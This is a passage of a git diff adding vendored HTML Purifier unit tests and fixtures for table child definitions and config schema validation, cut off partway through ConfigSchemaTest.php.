index 000000000..49e96b652
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/TableTest.php
@@ -0,0 +1,86 @@
+<?php
+
+// we're using empty tags to compact the tests: under real circumstances
+// there would be contents in them
+
+class HTMLPurifier_ChildDef_TableTest extends HTMLPurifier_ChildDefHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_ChildDef_Table();
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult('', false);
+ }
+
+ public function testSingleRow()
+ {
+ $this->assertResult('<tr />');
+ }
+
+ public function testComplexContents()
+ {
+ $this->assertResult('<caption /><col /><thead /><tfoot /><tbody>'.
+ '<tr><td>asdf</td></tr></tbody>');
+ $this->assertResult('<col /><col /><col /><tr />');
+ }
+
+ public function testReorderContents()
+ {
+ $this->assertResult(
+ '<col /><colgroup /><tbody /><tfoot /><thead /><tr>1</tr><caption /><tr />',
+ '<caption /><col /><colgroup /><thead /><tfoot /><tbody /><tbody><tr>1</tr><tr /></tbody>');
+ }
+
+ public function testXhtml11Illegal()
+ {
+ $this->assertResult(
+ '<thead><tr><th>a</th></tr></thead><tr><td>a</td></tr>',
+ '<thead><tr><th>a</th></tr></thead><tbody><tr><td>a</td></tr></tbody>'
+ );
+ }
+
+ public function testTrOverflowAndClose()
+ {
+ $this->assertResult(
+ '<tr><td>a</td></tr><tr><td>b</td></tr><tbody><tr><td>c</td></tr></tbody><tr><td>d</td></tr>',
+ '<tbody><tr><td>a</td></tr><tr><td>b</td></tr></tbody><tbody><tr><td>c</td></tr></tbody><tbody><tr><td>d</td></tr></tbody>'
+ );
+ }
+
+ public function testDuplicateProcessing()
+ {
+ $this->assertResult(
+ '<caption>1</caption><caption /><tbody /><tbody /><tfoot>1</tfoot><tfoot />',
+ '<caption>1</caption><tfoot>1</tfoot><tbody /><tbody /><tbody />'
+ );
+ }
+
+ public function testRemoveText()
+ {
+ $this->assertResult('foo', false);
+ }
+
+ public function testStickyWhitespaceOnTr()
+ {
+ $this->config->set('Output.Newline', "\n");
+ $this->assertResult("\n <tr />\n <tr />\n ");
+ }
+
+ public function testStickyWhitespaceOnTSection()
+ {
+ $this->config->set('Output.Newline', "\n");
+ $this->assertResult(
+ "\n\t<tbody />\n\t\t<tfoot />\n\t\t\t",
+ "\n\t<tfoot />\n\t\t\t<tbody />\n\t\t"
+ );
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDefHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDefHarness.php
new file mode 100644
index 000000000..d21070c9a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDefHarness.php
@@ -0,0 +1,17 @@
+<?php
+
+class HTMLPurifier_ChildDefHarness extends HTMLPurifier_ComplexHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = null;
+ $this->func = 'validateChildren';
+ $this->to_html = true;
+ $this->to_node_list = true;
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ComplexHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ComplexHarness.php
new file mode 100644
index 000000000..55c10ca9d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ComplexHarness.php
@@ -0,0 +1,138 @@
+<?php
+
+/**
+ * General-purpose test-harness that makes testing functions that require
+ * configuration and context objects easier when those two parameters are
+ * meaningless. See HTMLPurifier_ChildDefTest for a good example of usage.
+ */
+class HTMLPurifier_ComplexHarness extends HTMLPurifier_Harness
+{
+
+ /**
+ * Instance of the object that will execute the method.
+ * @type object
+ */
+ protected $obj;
+
+ /**
+ * Name of the function to be executed.
+ * @type string
+ */
+ protected $func;
+
+ /**
+ * Whether or not the method deals in tokens.
+ * If set to true, assertResult()
+ * will transparently convert HTML to and back from tokens.
+ * @type bool
+ */
+ protected $to_tokens = false;
+
+ /**
+ * Whether or not the method deals in a node list.
+ * If set to true, assertResult() will transparently convert HTML
+ * to and back from node.
+ * @type bool
+ */
+ protected $to_node_list = false;
+
+ /**
+ * Whether or not to convert tokens back into HTML before performing
+ * equality check, has no effect on bools.
+ * @type bool
+ */
+ protected $to_html = false;
+
+ /**
+ * Instance of an HTMLPurifier_Lexer implementation.
+ * @type HTMLPurifier_Lexer
+ */
+ protected $lexer;
+
+ public function __construct()
+ {
+ $this->lexer = new HTMLPurifier_Lexer_DirectLex();
+ parent::__construct();
+ }
+
+ /**
+ * Asserts a specific result from a one parameter + config/context function
+ * @param string $input Input parameter
+ * @param bool|string $expect Expectation
+ */
+ protected function assertResult($input, $expect = true)
+ {
+ // $func may cause $input to change, so "clone" another copy
+ // to sacrifice
+ if ($this->to_node_list && is_string($input)) {
+ $input = HTMLPurifier_Arborize::arborize($this->tokenize($temp = $input), $this->config, $this->context)->children;
+ $input_c = HTMLPurifier_Arborize::arborize($this->tokenize($temp), $this->config, $this->context)->children;
+ } elseif ($this->to_tokens && is_string($input)) {
+ $input = $this->tokenize($temp = $input);
+ $input_c = $this->tokenize($temp);
+ } else {
+ $input_c = $input;
+ }
+
+ // call the function
+ $func = $this->func;
+ $result = $this->obj->$func($input_c, $this->config, $this->context);
+
+ // test a bool result
+ if (is_bool($result)) {
+ $this->assertIdentical($expect, $result);
+ return;
+ } elseif (is_bool($expect)) {
+ $expect = $input;
+ }
+
+ if ($this->to_html) {
+ if ($this->to_node_list) {
+ $result = $this->generateTokens($result);
+ if (is_array($expect) && !empty($expect) && $expect[0] instanceof HTMLPurifier_Node) {
+ $expect = $this->generateTokens($expect);
+ }
+ }
+ $result = $this->generate($result);
+ if (is_array($expect)) {
+ $expect = $this->generate($expect);
+ }
+ }
+ $this->assertIdentical($expect, $result);
+
+ if ($expect !== $result) {
+ echo '<pre>' . var_dump($result) . '</pre>';
+ }
+
+ }
+
+ /**
+ * Tokenize HTML into tokens, uses member variables for common variables
+ */
+ protected function tokenize($html)
+ {
+ return $this->lexer->tokenizeHTML($html, $this->config, $this->context);
+ }
+
+ /**
+ * Generate textual HTML from tokens
+ */
+ protected function generate($tokens)
+ {
+ $generator = new HTMLPurifier_Generator($this->config, $this->context);
+ return $generator->generateFromTokens($tokens);
+ }
+
+ /**
+ * Generate tokens from node list
+ */
+ protected function generateTokens($children)
+ {
+ $dummy = new HTMLPurifier_Node_Element("dummy");
+ $dummy->children = $children;
+ return HTMLPurifier_Arborize::flatten($dummy, $this->context, $this->config);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/InterchangeTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/InterchangeTest.php
new file mode 100644
index 000000000..93ad1e7b7
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/InterchangeTest.php
@@ -0,0 +1,23 @@
+<?php
+
+class HTMLPurifier_ConfigSchema_InterchangeTest extends UnitTestCase
+{
+
+ protected $interchange;
+
+ public function setup()
+ {
+ $this->interchange = new HTMLPurifier_ConfigSchema_Interchange();
+ }
+
+ public function testAddDirective()
+ {
+ $v = new HTMLPurifier_ConfigSchema_Interchange_Directive();
+ $v->id = new HTMLPurifier_ConfigSchema_Interchange_Id('Namespace.Directive');
+ $this->interchange->addDirective($v);
+ $this->assertIdentical($v, $this->interchange->directives['Namespace.Directive']);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesAliasCollision.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesAliasCollision.vtest
new file mode 100644
index 000000000..ed3857c40
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesAliasCollision.vtest
@@ -0,0 +1,13 @@
+ERROR: Alias 'Ns.BothWantThisName' in aliases in directive 'Ns.Dir2' collides with alias for directive 'Ns.Dir'
+----
+Ns.Dir
+DESCRIPTION: Directive
+TYPE: int
+DEFAULT: 3
+ALIASES: Ns.BothWantThisName
+----
+Ns.Dir2
+DESCRIPTION: Directive
+TYPE: string
+DEFAULT: 'a'
+ALIASES: Ns.BothWantThisName
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesDirectiveCollision.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesDirectiveCollision.vtest
new file mode 100644
index 000000000..582a481a4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesDirectiveCollision.vtest
@@ -0,0 +1,12 @@
+ERROR: Alias 'Ns.Innocent' in aliases in directive 'Ns.Dir' collides with another directive
+----
+Ns.Innocent
+DESCRIPTION: Innocent directive
+TYPE: int
+DEFAULT: 3
+----
+Ns.Dir
+DESCRIPTION: Directive
+TYPE: string
+DEFAULT: 'a'
+ALIASES: Ns.Innocent
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedIsString.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedIsString.vtest
new file mode 100644
index 000000000..9ecc5f930
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedIsString.vtest
@@ -0,0 +1,7 @@
+ERROR: Value 3 in allowed in directive 'Ns.Dir' must be a string
+----
+ID: Ns.Dir
+TYPE: string
+DESCRIPTION: Description
+DEFAULT: 'asdf'
+ALLOWED: 'asdf', 3
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedNotEmpty.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedNotEmpty.vtest
new file mode 100644
index 000000000..1e08fab0d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedNotEmpty.vtest
@@ -0,0 +1,7 @@
+ERROR: Allowed in directive 'Ns.Dir' must not be empty
+----
+ID: Ns.Dir
+TYPE: string
+DESCRIPTION: Description
+DEFAULT: 'asdf'
+ALLOWED:
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultIsAllowed.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultIsAllowed.vtest
new file mode 100644
index 000000000..ef1944707
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultIsAllowed.vtest
@@ -0,0 +1,7 @@
+ERROR: Default in directive 'Ns.Dir' must be an allowed value
+----
+Ns.Dir
+DESCRIPTION: Directive
+TYPE: string
+DEFAULT: 'a'
+ALLOWED: 'b'
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultNullWithAllowed.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultNullWithAllowed.vtest
new file mode 100644
index 000000000..7ba3c85c0
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultNullWithAllowed.vtest
@@ -0,0 +1,5 @@
+Ns.Dir
+DESCRIPTION: Directive
+TYPE: string/null
+DEFAULT: null
+ALLOWED: 'a'
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultType.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultType.vtest
new file mode 100644
index 000000000..79ea043ac
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultType.vtest
@@ -0,0 +1,6 @@
+ERROR: Expected type string, got integer in DEFAULT in directive hash 'Ns.Dir'
+----
+Ns.Dir
+DESCRIPTION: Directive
+TYPE: string
+DEFAULT: 0
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/descriptionNotEmpty.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/descriptionNotEmpty.vtest
new file mode 100644
index 000000000..d09ddc77b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/descriptionNotEmpty.vtest
@@ -0,0 +1,5 @@
+ERROR: Description in directive 'Ns.Dir' must not be empty
+----
+Ns.Dir
+TYPE: int
+DEFAULT: 0
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/ignoreNamespace.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/ignoreNamespace.vtest
new file mode 100644
index 000000000..3fc28d3a4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/ignoreNamespace.vtest
@@ -0,0 +1,3 @@
+Ns
+DESCRIPTION: Namespace
+
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeDefined.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeDefined.vtest
new file mode 100644
index 000000000..4bb8abeb2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeDefined.vtest
@@ -0,0 +1,5 @@
+ERROR: TYPE in directive hash 'Ns.Dir' not defined
+----
+Ns.Dir
+DESCRIPTION: Notice that TYPE is missing
+DEFAULT: 0
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeExists.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeExists.vtest
new file mode 100644
index 000000000..f9851f536
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeExists.vtest
@@ -0,0 +1,6 @@
+ERROR: Invalid type 'foobar' in DEFAULT in directive hash 'Ns.Dir'
+----
+Ns.Dir
+DESCRIPTION: Directive
+TYPE: foobar
+DEFAULT: 0
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithAllowedIsStringType.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithAllowedIsStringType.vtest
new file mode 100644
index 000000000..bf4e2b21b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithAllowedIsStringType.vtest
@@ -0,0 +1,7 @@
+ERROR: Type in directive 'Ns.Dir' must be a string type when used with allowed or value aliases
+----
+Ns.Dir
+DESCRIPTION: Directive
+TYPE: int
+DEFAULT: 3
+ALLOWED: 1, 2, 3
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithValueAliasesIsStringType.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithValueAliasesIsStringType.vtest
new file mode 100644
index 000000000..59cf4333a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithValueAliasesIsStringType.vtest
@@ -0,0 +1,7 @@
+ERROR: Type in directive 'Ns.Dir' must be a string type when used with allowed or value aliases
+----
+Ns.Dir
+DESCRIPTION: Directive
+TYPE: int
+DEFAULT: 3
+VALUE-ALIASES: 2 => 3
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/unique.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/unique.vtest
new file mode 100644
index 000000000..c83649e8d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/unique.vtest
@@ -0,0 +1,11 @@
+ERROR: Cannot redefine directive 'Ns.Dir'
+----
+ID: Ns.Dir
+DESCRIPTION: Version 1
+TYPE: int
+DEFAULT: 0
+----
+ID: Ns.Dir
+DESCRIPTION: Version 2
+TYPE: int
+DEFAULT: 0
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasIsString.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasIsString.vtest
new file mode 100644
index 000000000..b9f28eee1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasIsString.vtest
@@ -0,0 +1,7 @@
+ERROR: Alias 3 in valueAliases in directive 'Ns.Dir' must be a string
+----
+Ns.Dir
+DESCRIPTION: Directive
+TYPE: string
+DEFAULT: 'a'
+VALUE-ALIASES: 3 => 'a'
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasNotAllowed.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasNotAllowed.vtest
new file mode 100644
index 000000000..ef9c14883
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasNotAllowed.vtest
@@ -0,0 +1,8 @@
+ERROR: Alias 'b' in valueAliases in directive 'Ns.Dir' must not be an allowed value
+----
+Ns.Dir
+DESCRIPTION: Directive
+TYPE: string
+DEFAULT: 'a'
+ALLOWED: 'a', 'b', 'c'
+VALUE-ALIASES: 'b' => 'c'
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesNotAliasSelf.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesNotAliasSelf.vtest
new file mode 100644
index 000000000..4c417fd5f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesNotAliasSelf.vtest
@@ -0,0 +1,7 @@
+ERROR: Alias 'bar' in valueAliases in directive 'Ns.Dir' must not be an alias to itself
+----
+Ns.Dir
+DESCRIPTION: Directive
+TYPE: string
+DEFAULT: 'foo'
+VALUE-ALIASES: 'bar' => 'bar'
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealAllowed.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealAllowed.vtest
new file mode 100644
index 000000000..89502d34a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealAllowed.vtest
@@ -0,0 +1,8 @@
+ERROR: Alias 'c' in valueAliases in directive 'Ns.Dir' must be an alias to an allowed value
+----
+Ns.Dir
+DESCRIPTION: Directive
+TYPE: string
+DEFAULT: 'a'
+ALLOWED: 'a', 'b'
+VALUE-ALIASES: 'c' => 'd'
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealIsString.vtest b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealIsString.vtest
new file mode 100644
index 000000000..92ec197dc
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealIsString.vtest
@@ -0,0 +1,7 @@
+ERROR: Alias target 3 from alias 'b' in valueAliases in directive 'Ns.Dir' must be a string
+----
+Ns.Dir
+DESCRIPTION: Directive
+TYPE: string
+DEFAULT: 'a'
+VALUE-ALIASES: 'b' => 3
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorAtomTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorAtomTest.php
new file mode 100644
index 000000000..68b4d8606
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorAtomTest.php
@@ -0,0 +1,110 @@
+<?php
+
+class HTMLPurifier_ConfigSchema_ValidatorAtomTest extends UnitTestCase
+{
+
+ protected function expectValidationException($msg)
+ {
+ $this->expectException(new HTMLPurifier_ConfigSchema_Exception($msg));
+ }
+
+ protected function makeAtom($value)
+ {
+ $obj = new stdClass();
+ $obj->property = $value;
+ // Note that 'property' and 'context' are magic wildcard values
+ return new HTMLPurifier_ConfigSchema_ValidatorAtom('context', $obj, 'property');
+ }
+
+ public function testAssertIsString()
+ {
+ $this->makeAtom('foo')->assertIsString();
+ }
+
+ public function testAssertIsStringFail()
+ {
+ $this->expectValidationException("Property in context must be a string");
+ $this->makeAtom(3)->assertIsString();
+ }
+
+ public function testAssertNotNull()
+ {
+ $this->makeAtom('foo')->assertNotNull();
+ }
+
+ public function testAssertNotNullFail()
+ {
+ $this->expectValidationException("Property in context must not be null");
+ $this->makeAtom(null)->assertNotNull();
+ }
+
+ public function testAssertAlnum()
+ {
+ $this->makeAtom('foo2')->assertAlnum();
+ }
+
+ public function testAssertAlnumFail()
+ {
+ $this->expectValidationException("Property in context must be alphanumeric");
+ $this->makeAtom('%a')->assertAlnum();
+ }
+
+ public function testAssertAlnumFailIsString()
+ {
+ $this->expectValidationException("Property in context must be a string");
+ $this->makeAtom(3)->assertAlnum();
+ }
+
+ public function testAssertNotEmpty()
+ {
+ $this->makeAtom('foo')->assertNotEmpty();
+ }
+
+ public function testAssertNotEmptyFail()
+ {
+ $this->expectValidationException("Property in context must not be empty");
+ $this->makeAtom('')->assertNotEmpty();
+ }
+
+ public function testAssertIsBool()
+ {
+ $this->makeAtom(false)->assertIsBool();
+ }
+
+ public function testAssertIsBoolFail()
+ {
+ $this->expectValidationException("Property in context must be a boolean");
+ $this->makeAtom('0')->assertIsBool();
+ }
+
+ public function testAssertIsArray()
+ {
+ $this->makeAtom(array())->assertIsArray();
+ }
+
+ public function testAssertIsArrayFail()
+ {
+ $this->expectValidationException("Property in context must be an array");
+ $this->makeAtom('asdf')->assertIsArray();
+ }
+
+
+ public function testAssertIsLookup()
+ {
+ $this->makeAtom(array('foo' => true))->assertIsLookup();
+ }
+
+ public function testAssertIsLookupFail()
+ {
+ $this->expectValidationException("Property in context must be a lookup array");
+ $this->makeAtom(array('foo' => 4))->assertIsLookup();
+ }
+
+ public function testAssertIsLookupFailIsArray()
+ {
+ $this->expectValidationException("Property in context must be an array");
+ $this->makeAtom('asdf')->assertIsLookup();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTest.php
new file mode 100644
index 000000000..18affc36b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTest.php
@@ -0,0 +1,111 @@
+<?php
+
+/**
+ * Special test-case for cases that can't be tested using
+ * HTMLPurifier_ConfigSchema_ValidatorTestCase.
+ */
+class HTMLPurifier_ConfigSchema_ValidatorTest extends UnitTestCase
+{
+ public $validator, $interchange;
+
+ public function setup()
+ {
+ $this->validator = new HTMLPurifier_ConfigSchema_Validator();
+ $this->interchange = new HTMLPurifier_ConfigSchema_Interchange();
+ }
+
+ public function testDirectiveIntegrityViolation()
+ {
+ $d = $this->makeDirective('Ns.Dir');
+ $d->id = new HTMLPurifier_ConfigSchema_Interchange_Id('Ns.Dir2');
+ $this->expectValidationException("Integrity violation: key 'Ns.Dir' does not match internal id 'Ns.Dir2'");
+ $this->validator->validate($this->interchange);
+ }
+
+ public function testDirectiveTypeNotEmpty()
+ {
+ $d = $this->makeDirective('Ns.Dir');
+ $d->default = 0;
+ $d->description = 'Description';
+
+ $this->expectValidationException("Type in directive 'Ns.Dir' must not be empty");
+ $this->validator->validate($this->interchange);
+ }
+
+ public function testDirectiveDefaultInvalid()
+ {
+ $d = $this->makeDirective('Ns.Dir');
+ $d->default = 'asdf';
+ $d->type = 'int';
+ $d->description = 'Description';
+
+ $this->expectValidationException("Default in directive 'Ns.Dir' had error: Expected type int, got string");
+ $this->validator->validate($this->interchange);
+ }
+
+ public function testDirectiveIdIsString()
+ {
+ $d = $this->makeDirective(3);
+ $d->default = 0;
+ $d->type = 'int';
+ $d->description = 'Description';
+
+ $this->expectValidationException("Key in id '3' in directive '3' must be a string");
+ $this->validator->validate($this->interchange);
+ }
+
+ public function testDirectiveTypeAllowsNullIsBool()
+ {
+ $d = $this->makeDirective('Ns.Dir');
+ $d->default = 0;
+ $d->type = 'int';
+ $d->description = 'Description';
+ $d->typeAllowsNull = 'yes';
+
+ $this->expectValidationException("TypeAllowsNull in directive 'Ns.Dir' must be a boolean");
+ $this->validator->validate($this->interchange);
+ }
+
+ public function testDirectiveValueAliasesIsArray()
+ {
+ $d = $this->makeDirective('Ns.Dir');
+ $d->default = 'a';
+ $d->type = 'string';
+ $d->description = 'Description';
+ $d->valueAliases = 2;
+
+ $this->expectValidationException("ValueAliases in directive 'Ns.Dir' must be an array");
+ $this->validator->validate($this->interchange);
+ }
+
+ public function testDirectiveAllowedIsLookup()
+ {
+ $d = $this->makeDirective('Ns.Dir');
+ $d->default = 'foo';
+ $d->type = 'string';
+ $d->description = 'Description';
+ $d->allowed = array('foo' => 1);
+
+ $this->expectValidationException("Allowed in directive 'Ns.Dir' must be a lookup array");
+ $this->validator->validate($this->interchange);
+ }
+
+ // helper functions
+
+
+ protected function makeDirective($key)
+ {
+ $directive = new HTMLPurifier_ConfigSchema_Interchange_Directive();
+ $directive->id = new HTMLPurifier_ConfigSchema_Interchange_Id($key);
+ $this->interchange->addDirective($directive);
+ return $directive;
+ }
+
+ protected function expectValidationException($msg)
+ {
+ $this->expectException(new HTMLPurifier_ConfigSchema_Exception($msg));
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTestCase.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTestCase.php
new file mode 100644
index 000000000..29a911161
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTestCase.php
@@ -0,0 +1,47 @@
+<?php
+
+/**
+ * Controller for validator test-cases.
+ */
+class HTMLPurifier_ConfigSchema_ValidatorTestCase extends UnitTestCase
+{
+
+ protected $_path, $_parser, $_builder;
+ public $validator;
+
+ public function __construct($path)
+ {
+ $this->_path = $path;
+ $this->_parser = new HTMLPurifier_StringHashParser();
+ $this->_builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder();
+ parent::__construct($path);
+ }
+
+ public function setup()
+ {
+ $this->validator = new HTMLPurifier_ConfigSchema_Validator();
+ }
+
+ public function testValidator()
+ {
+ $hashes = $this->_parser->parseMultiFile($this->_path);
+ $interchange = new HTMLPurifier_ConfigSchema_Interchange();
+ $error = null;
+ foreach ($hashes as $hash) {
+ if (!isset($hash['ID'])) {
+ if (isset($hash['ERROR'])) {
+ $this->expectException(
+ new HTMLPurifier_ConfigSchema_Exception($hash['ERROR'])
+ );
+ }
+ continue;
+ }
+ $this->_builder->build($interchange, new HTMLPurifier_StringHash($hash));
+ }
+ $this->validator->validate($interchange);
+ $this->pass();
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchemaTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchemaTest.php
new file mode 100644
index 000000000..6b228baba
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchemaTest.php
@@ -0,0 +1,104 @@
+<?php
+
+class HTMLPurifier_ConfigSchemaTest extends HTMLPurifier_Harness
+{
+
+ protected $schema;
+
+ public function setup()
+ {
+ $this->schema = new HTMLPurifier_ConfigSchema();
+ }
+
+ public function test_define()
+ {
+ $this->schema->add('Car.Seats', 5, 'int', false);
+
+ $this->assertIdentical($this->schema->defaults['Car.Seats'], 5);
+ $this->assertIdentical($this->schema->info['Car.Seats']->type, HTMLPurifier_VarParser::INT);
+
+ $this->schema->add('Car.Age', null, 'int', true);
+
+ $this->assertIdentical($this->schema->defaults['Car.Age'], null);
+ $this->assertIdentical($this->schema->info['Car.Age']->type, HTMLPurifier_VarParser::INT);
+
+ }
+
+ public function test_defineAllowedValues()
+ {
+ $this->schema->add('QuantumNumber.Spin', 0.5, 'float', false);
+ $this->schema->add('QuantumNumber.Current', 's', 'string', false);
+ $this->schema->add('QuantumNumber.Difficulty', null, 'string', true);
+
+ $this->schema->addAllowedValues( // okay, since default is null
+ 'QuantumNumber.Difficulty', array('easy' => true, 'medium' => true, 'hard' => true)
+ );
+
+ $this->assertIdentical($this->schema->defaults['QuantumNumber.Difficulty'], null);
+ $this->assertIdentical($this->schema->info['QuantumNumber.Difficulty']->type, HTMLPurifier_VarParser::STRING);
+ $this->assertIdentical($this->schema->info['QuantumNumber.Difficulty']->allow_null, true);
+ $this->assertIdentical($this->schema->info['QuantumNumber.Difficulty']->allowed,
+ array(
